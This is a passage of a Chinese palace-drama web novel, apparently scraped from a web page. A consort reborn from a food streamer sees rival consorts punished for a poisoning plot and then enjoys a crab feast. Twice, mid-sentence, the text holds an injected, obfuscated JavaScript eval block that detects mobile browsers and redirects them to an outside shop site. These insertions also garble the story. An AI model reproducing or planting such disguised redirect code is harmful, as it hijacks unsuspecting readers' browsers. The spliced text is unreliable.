嫔妃们皆起身朝皇上和贵妃问安,沈宓余光打量着二人,皇上头戴直脚幞头,身穿圆领绛红大袖衫袍,腰上系着九环带,虽然衫袍宽大,但依然能隐隐看出宽肩窄腰的矫健体态,皂色六合靴沉稳踩在地上,步履有力从容,气质更显阳刚威严。 皇帝稳坐在皇后的宝座上才叫了起,沈宓轻抬眉眼细细看着他的真面容,浓眉丹凤眼,挺鼻薄唇,典型的刚毅冷峻封建大爹长相。沈宓前世还是很吃这种又帅又男人味儿十足的老式男人,只要不付出真心,随便玩玩儿,就可以慢慢调教成男妈妈······ 吸溜,沈宓很快收回心思,老实点儿吧,姑奶奶,这可是皇上,砍人头就像砍冬瓜的封建皇帝! 为了转移注意力,她开始找起皇帝的缺点,脸上是健康的小麦色,但不知怎的看着有些古怪,有种素描画的阴影粗糙不均匀的错觉,另外就是有些瘦,瘦的眼窝深陷,下巴有些尖。 皇帝似乎觉察到什么,视线凌厉地扫过来。 沈宓眼神忙转向大名鼎鼎的陈贵妃,没想到竟是个圆脸大杏眼的犬系萌甜妹,二十出头的模样,很年轻,那双看似水润清亮的眸子却并不能一眼望到底。 “德妃,你可知罪?”皇帝李琥寒凉的声音就像冬日屋檐上的冰凌,突兀地砸在每个嫔妃的心里,众人都忍不住缩了缩脖子。 德妃更是惊惧地盯着李琥,有些不可置信道:“皇,皇上,您在说什么呀?” 李琥轻抬眉眼掠向陈贵妃,陈贵妃朝皇帝微微颔首,便朝殿外喊了声:“还不把人带上来?” 很快几个不成人形的犯人就像破麻袋似的被拖拽到了人前,众嫔妃忙用帕子捂住口鼻,眼里满是惊恐。 陈贵妃冲德妃微微一笑:“为首那个宫女叫福灵,德妃,你还认得吧?” 德妃脸色突变,眼神几番变化后才稍稍稳住心神,面无表情道:“贵妃娘娘说笑了,这宫女是静澜轩的人,你应该问晴嫔才是吧?” 沈宓被点名,脸色更加淡然:“瞧德妃娘娘这话说的,嫔妾还想问德妃娘娘呢,就为了当年的旧怨便买通了嫔妾身边的心腹宫女给嫔妾下毒,让嫔妾疯得更厉害,好借机除去金贵人腹中的胎儿,是否太过了?” 此言一出,满座皆惊,就连刚才为德妃鞍前马后的庄妃和康嫔都惊呼道:“竟有此事?” 德妃当然不认,狠瞪了二人一眼便对着沈宓怒骂道:“晴嫔,空口白牙的,你竟敢污蔑本宫,该当何罪?” “是不是空口白牙,自有慎刑司的人证物证,福灵,如今皇上、皇后娘娘,满座嫔妃皆在,你还不从实招来?” 贵妃一声厉喝,福灵麻木地瑟缩了下,一张嘴,声音格外嘶哑难听:“奴,奴婢遵命。是,是德妃娘娘,三年前,她趁我们家娘娘得了疯病后,便命人暗中找上奴婢,找机会给晴嫔娘娘下加重她疯病的药。当时静澜轩还有位宋嬷嬷看得紧,奴婢并不经常得手。直到今年开春,金贵人怀了身孕后,德妃娘娘又命人催促奴婢给晴嫔娘娘下药,让她的疯病加重,并找机会让晴嫔娘娘和金贵人对上,堕了金贵人的胎。” 康嫔听得一愣楞的,忍不住打了个茬儿,“天老爷,这么歹毒又缜密的布局,若是真成了,金贵人到时候可连个申冤的地儿都没有。德妃娘娘还真是厉害呢。” 此时被“夸赞”的德妃并不想听,甚至很想撕了康嫔的嘴巴,这个出了名的碎嘴子,就知道她嘴里没什么好话! “康嫔,皇上面前岂容你胡言乱语!这个贱婢满口胡话,你也跟着以讹传讹,该当何罪?”德妃眼神凌厉地想杀人。 康嫔被唬得缩了缩,“德妃娘娘,您可别吓嫔妾,又不是嫔妾说的。” “你!” “都给朕住嘴!”李琥低吼了声,阴沉的视线在德妃和康嫔脸上刮了两圈后示意福灵继续说下去。 “是,是,皇上。奴婢想按照德妃娘娘安排的继续给晴嫔娘娘下药,可还有宋嬷嬷碍事。德妃娘娘便让,便让奴婢先下药药死宋嬷嬷。后来奴婢得手,宋嬷嬷死了,奴婢便按照德妃娘娘的安排继续给晴嫔娘娘的饮食中下药。那日,那日奴婢疏忽,不小心把疯药的量加重了,晴嫔,晴嫔娘娘半夜就言行癫狂起来。奴,奴婢怕事情败露,便把她溺毙在了殿前的水池子里,没,没想到晴嫔娘娘竟又清醒了过来······” 沈宓倒还坐得住,身后的福喜却目眦欲裂,眼眶就像被烧了似的,怒骂道:“贱人!你好歹毒的心!你难道忘了平日里娘娘是怎么对你!你还是人嘛!” 福灵身子瑟缩了下,眼神怯懦地朝沈宓和福喜瞥了一眼,随即痛哭失声,喑哑阴沉的腔调好似有冤情的女鬼。 这下众人的目光又聚到了沈宓身上,尤其是皇帝李琥,若有实质,让人就算不看也浑身不自在起来。 三年的时光可以磨灭掉很多事,更何况对一个日理万机的皇上来说。 可李琥依然清晰地记得当年初登宝座,两人携手站在皇城北门,眺望万里河山时的光景。 那日云雨初霁,晴空万里,东边天上悬着一道彩虹,但都不及她脸上灿烂的笑颜。 想起昨夜皇后问起后宫嫔妃的册封事宜,那一刻,他忽然动情地唤了声晴妃。 美人一笑,倾国倾城,亦如天边的那道霞光,绚烂了他凄风苦雨的小半生。 自此晴妃娘娘宠冠六宫,三载不衰,只是那样鲜活明媚的女子到底折损在了幽幽深宫之中······ 如今的晴嫔,容貌自不似当年,身形越发娇弱,翦水秋瞳盛着半湾愁绪,让李琥心尖轻轻一缩。 “晴嫔,你身子可大好了?” 沈宓很诧异,阴鸷的帝王未曾管她宫中的阴私,反而关心问候,她忍不住直视过去,皇帝的眼眸依旧冷沉,但眼底涌动着未名的情绪。 “多谢皇上关心,嫔妾已大好了,但太医说是药三分毒,更何况有人刻意为之,身子自此虚弱多病,需要长久调养。” 就算真的好了也要说没好,要不然她白花那么多银子装修静澜轩了,说完,她适时咳嗽了几声,腮上霎时染了几抹潮红。 李琥蹙了蹙眉,下意识便对大太监玉康公公说道:“回头请云院判去给晴嫔瞧瞧,不要留了病根。” 玉康眼睛里闪过一丝诧异,不过转瞬即逝,恭敬地称了声是。 底下的嫔妃就没这么淡然了,个个睁圆了眼睛,尤其是德妃不可置信地望向李琥,声音满是悲愤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921350|192506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“皇上!” 李琥眼底涌出几分厌烦,目光锋利地瞪向福灵,“继续说!” 福灵麻木地哆嗦了几下,声音颤颤巍巍地像风中的蛛丝:“之后,之后,奴婢便被金贵人抓进了慎刑司。” 德妃闻言,上前狠厉地给了福灵一耳光,怒喝道:“大胆贱婢!没有证据就敢攀诬上位,你是要造反吗?这可是祸及家人的大罪!” 福灵闻言,凄惨地苦笑一声:“左右奴婢的家人已经被德妃娘娘攥在手心里,要不然奴婢也不会为娘娘做这等背主杀头的大罪。” 德妃闻言目眦欲裂,抬手又要打人,却被皇后喝住:“大胆德妃,这是在昭阳殿,你眼中可还有皇上与本宫!” 李琥冷笑了声,“你想要证据?铁青,你来说。” 慎刑司总管铁青闻言称了声是,便朝身后的属下击了三掌,顿时一些伤痕累累、浑身死气的人被押送了上来。 一些是德妃在宫中的暗桩,一些是德妃宫里的宫人,剩下的就是德妃母族派去监视福灵家人的杀手。德妃见状终于明白过来,昨日她一回宫就发现离宫前留下看守门户的部分心腹全不见了,可她在此之前偏偏没有得到任何消息。 慎刑司的人说他们手脚不干净被传过去问话,她知道事情绝没有那么简单。然而慎刑司打了她个措手不及,她还没想出对策来,万万没料到,反而是紧紧捏在手心里的福灵出了大篓子 人证便是承乾宫的宫人,一名领事太监,一名大宫女,几名二等宫女和心腹太监,物证便是承乾宫流出的一些首饰财物,还有杀手的供词。 德妃遍体生寒,她目光涣散、神情木然,嘴唇哆嗦着,下意识的狡辩:“皇,皇上,臣妾是冤枉的,臣妾固然和晴嫔有仇,也派福灵去暗害过晴嫔,但从未想害金贵人腹中的孩子啊······” 李琥嗤笑一声,这时候脑子倒转的快,“暗害龙嗣有罪,残害嫔妃就不是罪了?德妃,朕竟不知你是这样愚蠢又阴毒的人,还让你位列四妃,协理六宫!即日起,褫夺封号,降为妃位,去协理六宫之权,禁足宫中,无诏不得出!大皇子挪至淑贵太妃处抚养,免得教坏了朕的儿子!” 德妃闻言,身子几欲瘫软在地,她刚要开口申辩,玉康公公早已命宫人捂住她的口鼻拖了下去。 众人心里正凄惶着,见德妃被拖出殿外,刚要松口气,李琥却立即向陈贵妃发难:“陈贵妃!你可知罪?” 陈贵妃慌然下跪:“皇上息怒,臣妾知罪!” 沈宓轻啧了声,这贵妃刚才还一派气定神闲,现在出了事立刻滑跪,倒是出人意料。 李琥面色阴沉得快要滴下水来:“你自执掌宫权以来,宫中风波不断,皇嗣折损有三,嫔妃有五,朕不知你是何居心!来人呐,去贵妃六宫之权,禁足宫中,无诏不得出!” 众嫔妃闻言,皆后背发寒,大气也不敢出,贵妃和德妃二话不说都被处置,眼见着皇上今天是动大怒了。她们生怕一个不慎就被卷进去。就连平时最喜欢落井下石、碎嘴子的康嫔都像个鹌鹑似的,深深地埋着头。 贵妃颓然地应了声是,便带着宫女狼狈地退下。李琥眼神冷厉地扫视了下殿内,末了落在了沈宓身上。 13. 第十三顿饭 沈宓浑身打了个激灵,天呐,她这是什么命啊,好不容易装好房子准备在后宫大干一场,开局就看到皇帝大型处决现场? 尽管她内心坦然,可依然挡不住封建社会的肃杀之气,她切切实实感受到了这里是皇宫,上位者甚至不需要调查,仅仅是一个不顺眼就能决定一个人的生死。 李琥眉心轻挑了下,她这是害怕了?罢了,毕竟大病初愈,就不吓她了,刚想杀鸡儆猴、训诫嫔妃的话就这样咽了下去。 “庄妃留下,其余人跪安吧。” 众嫔妃齐声唱诺,一溜烟就跑了,哪里还像平时见着皇帝时的那副牛皮糖的样子。 庄妃指甲都快扣到了肉里,她心里既胆颤又慌然,金贵人的事儿她可没沾边儿,最多就是德妃向晴嫔发难的时候,她多嘴了几句,皇上不会因为这生气吧?那······ 她心里很快又浮起一阵酸气,凭什么,皇上怎么就对那贱人念念不忘呢? 李琥都没给庄妃一个眼神,直接对孙皇后说道:“如今贵妃、德妃禁足,后宫诸事繁杂,不可无人主理。自古名正言顺方能事事顺遂,宫权自应该交回皇后手中,朕也能放心了。” 孙皇后心底冷笑一声,当初卸她宫权的时候可不是这么说的,面上却不显,只有惋惜与悲痛,“是贵妃与德妃辜负了皇上的信任,实在不该。承蒙皇上信重,臣妾自当尽职尽责,然臣妾如今在病中,实在有心无力,还望皇上体恤,先由庄妃妹妹协助一二,可好?” 李琥的目光终于落到庄妃身上,看她茫然木楞的样子,眼底划过遮掩不住的嫌弃,不过如今后宫妃位多悬,也只能矮子里拔将军。 “庄妃入宫多年,也算稳重,便依皇后所言。庄妃,即日起,望你勤勉用心、尽力辅佐皇后,管理后宫。” 庄妃还没回过神,孙皇后掩住眼中讥讽,柔声地提醒道:“庄妃妹妹莫不是高兴傻了,忘了谢恩?” 庄妃这才懵然下跪,慌不迭地谢主隆恩。 李琥淡淡地点了点头,长袖一挥,大步流星地走出了殿外。 孙皇后看着殿外灿烂的朝阳,忍不住勾起了唇角,德妃的结局,她心中早有数,只是没想到还有意外之喜,贵妃也被皇上赶下台了。 看来线人的消息没错,金贵人和她腹中龙胎的死绝没有那么简单。想到金贵人的家世,陈贵妃怕是一时半会儿也爬不起来了。 后宫大权就这么不费吹灰之力地回到了她的手中,亦如当年,皇帝也是这样轻飘飘地卸了她的六宫之权,让她每日看贵妃和德妃两个妃子的脸色过活。 故而她还没有贱到皇上给个甜枣就巴巴地上赶着巴结,那她这个皇后也太不值钱了。 可惜的是她损失了一枚颇有分量的旗子,不知道花了多少心思呢。还有晴嫔······ 晴嫔,孙皇后在心中念叨了三遍,转而对庄妃温和道:“庄妃妹妹,本宫这身子恐怕还得养些时日,后宫的事还得你多操心。只是这宫务说多不多,说少也不少,尤其是为着金贵人的事,皇上正在气头上。那么各宫各院,你就得多上心些。什么短了缺了你得及时补上,哪里不平不公,你心中要有一杆秤。尤其是晴嫔如今刚大病初愈,听那忘恩背主的奴才说这三年来日子过得又是那样糟心,想必被各宫各司克扣了不少分例,你刚上位,最忌讳底下的人欺上瞒下,一碗水端平了才能让人信服啊。” 庄妃现在总算回过神来,自是喜不自胜,听到皇后劝她善待晴嫔也不厌烦了,一连点头称是。 孙皇后笑了笑:“皇上信重妹妹,是妹妹的福气,也是妹妹的本事,你也不必妄自菲薄。如今宫中妃位上便只有你了,有些事,你放开手去干,想必更能做到皇上心里呢。” “臣妾多谢皇后娘娘指点,定当尽心尽力管好后宫,不负皇上、皇后娘娘所托。” 看着欢天喜地离去的庄妃,孙皇后脸上的笑意更盛了,大宫女夏染却有些不解:“娘娘,庄妃素来是个没脑子的,她能听懂娘娘的话外之音吗?” 孙皇后轻垂了下眼皮:“听不懂才好呢,本宫还怕她懂得太多。” 春染掩唇轻笑了声:“娘娘请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929281|192506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放心,庄妃别的听不懂,但关于晴嫔的事儿,她可是心里门儿清呢。” 孙皇后微微侧脸看向春染,眸光和她一样,意味深长。 紫华宫是依山傍湖而建,这皇宫内湖颇大,且神似一柄三头如意,故称如意海,那傍着的山便是福山。 如意海最北侧的一头被称为北海,中间的被称为中海,海中有岛称平山,取四海升平之意。靠东的一头被称为东海,东海附近是太后太妃们的居所。 后宫十二座主宫殿围绕着中海排布,热闹繁华,是身份尊贵的娘娘、宠妃们居住的地方,而静澜轩所在的北海附近的轩阁们则都是一些边缘化嫔妃的居所。 从栖凤宫出来,便是中海盛景,如今盛夏荼蘼。湖岸两侧花木繁盛,湖水一碧万顷,日光倾斜而下,激起一片金波银浪,甚是潋滟明媚。 上辈子做吃播,别的不说,心宽体胖,沈宓是认真践行。如今原身的死对头贵妃、德妃俱都禁足,而她也在皇帝和众嫔妃面前过了明路,成了真正的晴嫔,多日来悬在心口的剑终于摘了。 眼下自是兴致勃勃地坐上小舟泛游中海,等爬上了湖中平山岛,眺望水波浩渺,心境顿时更加开阔。 等游玩尽兴后,沈宓站在高处,看着紫华宫的湖光山色、琼楼玉宇,不由得念起这座巍峨肃穆的皇宫主人——皇帝李琥。 原身记忆里的皇帝是个温柔宽和的,但今天看他发落起人来毫不手软,偷偷一瞥间,眼眸深邃不见底,看着绝不是什么善茬儿。 在别人眼里,原身三年的宠妃不是白当的,皇帝对她尚且念旧情,随口指过来给她看病的太医就是他的心腹院判。 湖面上一团日光随着湖水晃了下眼睛,她忙用团扇遮了额头,微微眯起眼眸。 今日栖凤宫闹得太厉害了,金贵人母子俱亡,宫中最有权势的两名嫔妃牵涉其中,被皇帝发落,众人心中难免凄惶不安。可等过后呢?或者落在心机深沉、多思多想的人眼中呢? 她这位疯癫的晴嫔是如何恢复神智,一如往昔的,他们真的不会深究吗? 14. 第十四顿饭 游完湖,回到静澜轩中时正好用午膳,实打实的十道菜,热气腾腾地摆了满桌。 嫔位上的分例原本是八道,但到了吃蟹的节气,御膳房便额外送了道清蒸大闸蟹和大黄鱼。 沈宓视线扫过去,唇角勾起了一个满意的弧度。她迫不及待地拿起了一只膘肥体壮的大闸蟹,却不料被热气腾了下手又忙甩脱了,福喜抓住她的手轻轻吹着,忍不住埋怨道:“娘娘怎么跟个小孩儿似的?这蟹八件儿还没拿上来呢,就心急起来,烫着了吧?” 沈宓轻翻了下眼皮,“本宫这游了遍中海,实在饿了,这在自己宫里,自己人面前,哪管得了那么多嘛。” “成了小孩儿还不好?说明娘娘越来越年轻了,没看到今天皇上看到娘娘的眼神,那叫一个深情呢。”福清拿着蟹八件过来,满面春风的,说得屋里的人都笑了起来。 沈宓笑着剜了福清一眼:“平时看你是个稳重的,没想到和猴儿一样耍嘴。” 福清推了推福喜,“娘娘怪我作甚,这话头可是福喜先起来的。” 福喜忙嗔了她一眼:“好你个福清,好的不学,学坏的。” 东次间里愈发热闹起来,沈宓扫了眼众人,照例让七个伺候的宫人都落座,“大家快一起尝尝这蟹,看着格外肥硕呢。” 大闸蟹一共装了两碟,一碟个头儿顶大的,七只,沈宓常久吃药,体寒虚弱,只要了两只,福喜是沈宓身边的老资历,分得了两只,常恩和福清各得一只。剩下一碟,个头儿小些,装了八只,常恩、常九、小松子和柳儿各得两只。 七人算是静澜轩的核心成员,明面上不能厚此薄彼,只能从数量上体现,毕竟就是现代公司,奖金也得按职级发。 要想静澜轩在宫中地位节节攀升,她这个董事长兼总经理自然得多思多想。 福喜和常恩原先就是近身伺候的,面对这样的赏赐应对如常,福清几个刚升上来,心情不免有些激动,一连串说了好些吉祥的话儿。 毕竟几个月前,他们还在这静澜轩苟延残喘,一颗心时时悬着,害怕贵妃和德妃给他们致命一击。哪里想到他们的娘娘只是去栖凤宫溜达了一圈儿,贵妃和德妃便倒霉了,还得了皇上的怜惜呢? 古代的水质清美,没有污染,养出的大闸蟹自然是膏肥黄满、是鲜活的橙红色,油润得要沁出蜜来似的。 好在福喜手脚麻利,已经拆出了好多蟹肉,蘸上泡了姜丝的醋,那股子鲜美清甜就像泉水般咕咚咕咚地往嘴里冒,眉毛毫不夸张地要鲜掉了。 趁着福喜拆蟹的空当,她用汤匙挖了勺黄鱼肉,雪白嫩滑的肉在深蜜色的酱汁里染过,溅起朵朵漂亮的油花,舌尖儿一抿,肉就散了,但又不太过绵软,带着一股子香醇的鲜美入喉,沈宓吃得差点摇头晃脑起来。 两只蟹福喜拆得繁琐,沈宓吃得却极快,以至于福喜有些怀疑人生:“娘娘,那么大的蟹,您这就吃完了?” 福清笑嘻嘻地说:“娘娘能吃是福,您吃起东西来也太有福相了。” 其他几个也忙应和起来,“对对对,娘娘连吃东西也是美的。” 沈宓上辈子工作压力大,最大的爱好就是享受美食,她会吃更爱吃,吃起东西来像只松鼠似的可爱又香甜。 朋友们看她这样便推荐她发展自己的自媒体账号,做吃播,没想到做着做着,吃播反而成了主业。 两只蟹入腹,沈宓是食指大动,她巴巴地看着福喜的两只蟹,舔了舔唇,福喜下意识地想把一只递过去,但忽然间想到什么又快速缩了回去,还用手挡了起来。 “以前您用膳的时候跟只猫儿似的,这不吃那不吃让奴婢担心,现在倒是好了,什么都吃,奴婢倒更不放心了。” 沈宓抿了抿唇,煞有介事地扯谎:“本宫现在要养身体,太医们都说药补不如食补,本宫当然要多进补了。” 福喜若有所思地点了点头:“那倒是,不过这大闸蟹是不能再吃了,性寒啊,这太医也说过吧?” 福喜这个管家婆还真是······不过她也只是看看而已,怎么会夺她的蟹嘛? 沈宓转头看向桌子中间浓油赤酱的红烧大肘子,原主这副身子之前被福灵折腾得不像样,穿越这几个月来都遵照医嘱没动大荤腥,今天这大肘子,她一定要吃到嗨。 肥肉软糯腻滑,瘦肉醇香酥软,丝丝入扣,蘸上染了蟹肉香甜的姜丝醋,肘子在沈宓嘴里打了个滑儿就忙不迭地钻进了嗓子眼里,香浓赤亮的汤汁放米饭里一搅,那是一勺一勺根本停不下来。 福喜怕她腻,便给她夹了几筷子鲜蘑菜心和糖醋藕片,这两道素菜清甜醇美,很是爽口,解了腻味儿,她又用了好大一口肉。 吃到七分饱的时候,沈宓接过福喜递过来的萝卜老鸭汤,鲜美不失浓香,热热地喝下一口,四肢百骸都舒坦了。 沈宓是吃美了,吃饱了嘴巴和肚子还是闲不住,但她现在这副身子可得好好养着,只得让福喜她们上了茶和点心。 沈宓偏爱茉莉花茶,之前大闹内务府的时候,薅了不少珍珠香片来,这种茶是取清明前茶树的顶芽,芽子分外娇嫩需要匠人极高的耐心和技巧,制作很是不 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常恩接过了话头,声音深沉道:“是啊,若没有娘娘筹谋,哪有咱们今天的好日子?咱们必得齐心协力,为娘娘尽心尽责才是。” 底下的人忙言辞恳切地跟着表了一波忠心。 沈宓用帕子遮住了眼睛,却遮不住对福清的欣赏。经济上行的爽感总是很令人上头的,尤其是当身边的人都齐心协力,个个能干的时候。 可昭阳殿众嫔妃一个个赤裸裸的眼神犹在眼前,现在绝不能盲目自大,趁着刚打完鸡血,剩下的事儿还得尽快安排下去。 “你们对本宫的心意,本宫自是知道的。皇上固然对本宫念着旧情,但君威深重,宫中形势瞬息万变,贵妃与德妃那样的高位也不能免俗,咱们接下来还得小心应对才是。常九,你午后便把今早昭阳殿中的事儿传扬出去。记住,他人不提,只说本宫如何,让宫中的人都忌惮着咱们静澜轩。” 常九是个机灵的,眼睛转了转,便明白了沈宓的意思,忙上前深深一拜,语气轻快道:“娘娘放心,就是奴才不去说,以娘娘今时今日的风光,还有好些人不厌其烦地缠上来呢。” 沈宓笑着嗔了常九一眼:“还不是你这个猴头儿惯是能说会道的?不过到底要谨慎些,金贵人的事儿牵连极大,咱们静澜轩还是少沾染为妙。另外,本宫这段时日来让你去宫中行走时看好的人,若定下来了便直接领来给本宫看看吧。” 常九自然连连称诺。 沈宓随即让福喜从西稍间书房的桌子上取了本小册子来递给福清和福喜传看,“你们且先看着,若是有本宫还没看到、想到的都一一提上来,咱们好尽快完善。”